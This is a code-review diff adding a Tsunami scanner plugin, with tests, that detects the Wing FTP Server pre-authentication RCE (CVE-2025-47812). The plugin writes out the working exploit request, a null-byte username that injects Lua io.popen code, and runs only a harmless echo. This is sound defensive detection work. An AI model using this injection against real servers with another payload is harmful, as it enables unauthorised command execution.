Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,136 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "WingFtp_CVE_2025_47812"
author: "fuzzychick"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "WINGFTP_CVE_2025_47812"
}
severity: CRITICAL
title: "Wing FTP Server is vulnerable to remote code execution"
description: "The instance of Wing FTP Server is vulnerable to pre-authentication remote code execution (CVE-2025-47812). This detection executes a safe echo payload to verify remote command execution without performing destructive actions."
recommendation: "Update to a version 7.4.4 or later."
related_id: {
publisher: "CVE"
value: "CVE-2025-47812"
}
}

config: {
}

###############
# ACTIONS #
###############

# Action: Fingerprint Wing FTP Server
actions: {
name: "fingerprint_wingftp"
http_request: {
method: GET
uri: "/"
response: {
http_status: 200
expect_all: {
conditions: [
{ header: { name: "Server" } contains: "Wing FTP Server" }
]
}
}
}
}

# Action: POST to /loginok.html with crafted username payload
actions: {
name: "get_UID_cookie"
http_request: {
method: POST
uri: "/loginok.html"
headers: [
{ name: "User-Agent" value: "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" },
{ name: "Accept" value: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" },
{ name: "Accept-Language" value: "en-US,en;q=0.5" },
{ name: "Accept-Encoding" value: "gzip, deflate, br" },
{ name: "Content-Type" value: "application/x-www-form-urlencoded" },
{ name: "Origin" value: "{{ T_NS_BASEURL }}" },
{ name: "Connection" value: "keep-alive" },
{ name: "Referer" value: "{{ T_NS_BASEURL }}/login.html?lang=english" },
{ name: "Cookie" value: "client_lang=english" },
{ name: "Upgrade-Insecure-Requests" value: "1" },
{ name: "Priority" value: "u=0, i" }
]
data: "username={{ username }}%00]]%0dlocal+h+%3d+io.popen(\"{{ payload }}\")%0dlocal+r+%3d+h%3aread('*a')%0dh%3aclose()%0dprint(r)%0d--&password="
response: {
http_status: 200
extract_all: {
patterns: [
{
from_header: { name: "Set-Cookie" }
regexp: "UID=([a-f0-9]+)"
variable_name: "uid"
}
]
}
}
}
}

# Action: POST to /dir.html with the UID cookie to retrieve command output
actions: {
name: "trigger_rce_via_dir"
http_request: {
method: POST
uri: "/dir.html"
headers: [
{ name: "User-Agent" value: "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" },
{ name: "Accept" value: "text/html,application/xhtml+xml,application/xml" },
{ name: "Accept-Language" value: "en-US,en;q=0.5" },
{ name: "Accept-Encoding" value: "gzip, deflate, br" },
{ name: "Content-Type" value: "application/x-www-form-urlencoded" },
{ name: "Origin" value: "{{ T_NS_BASEURL }}" },
{ name: "Connection" value: "keep-alive" },
{ name: "Referer" value: "{{ T_NS_BASEURL }}/login.html?lang=english" },
{ name: "Cookie" value: "client_lang=english; UID={{ uid }}" },
{ name: "Upgrade-Insecure-Requests" value: "1" },
{ name: "Priority" value: "u=0, i" }
]
data: "1"
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "{{ payload_result }}" }
]
}
}
}
}

#############
# WORKFLOWS #
#############

workflows: {
variables: [
{ name: "username" value: "anonymous" },
{ name: "payload" value: "echo tsunami$((7*7))" },
{ name: "payload_result" value: "tsunami49" }
]

actions: [
"fingerprint_wingftp",
"get_UID_cookie",
"trigger_rce_via_dir"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "WingFtp_CVE_2025_47812"
}

tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true

mock_callback_server: {
enabled: false
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 200
headers: [
{ name: "Server" value: "Wing FTP Server/7.1.0" }
]
},
{
uri: "/loginok.html"
status: 200
headers: [
{ name: "Set-Cookie" value: "client_lang=english; Path=/; HttpOnly" },
{ name: "Set-Cookie" value: "UID=1a2b3c4d5e6f; Path=/; HttpOnly" }
]
},
{
uri: "/dir.html"
status: 200
body_content: "<html><body>Directory listing...<pre>tsunami49</pre></body></html>"
}
]
}
}

tests: {
name: "whenLoginReturnsNoUID_thenReturnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: false
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 200
headers: [
{ name: "Server" value: "Wing FTP Server/7.1.0" }
]
body_content: "<html><head><title>Welcome to Wing FTP Server</title></head><body></body></html>"
},
{
uri: "/loginok.html"
status: 200
headers: [
{ name: "Set-Cookie" value: "client_lang=english; Path=/; HttpOnly" }
# NOTE: intentionally no UID cookie returned
]
body_content: "<html><body>login ok (no uid)</body></html>"
},
{
uri: "/dir.html"
status: 200
body_content: "<html><body>Directory listing...<pre>no output</pre></body></html>"
}
]
}
}

tests: {
name: "whenNotWingFtp_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: false
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 200
headers: [
{ name: "Server" value: "SomeOtherServer/1.2.3" }
]
body_content: "<html><head><title>Some Other App</title></head><body></body></html>"
},
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 200
body_content: "Hello world"
}
]
}
}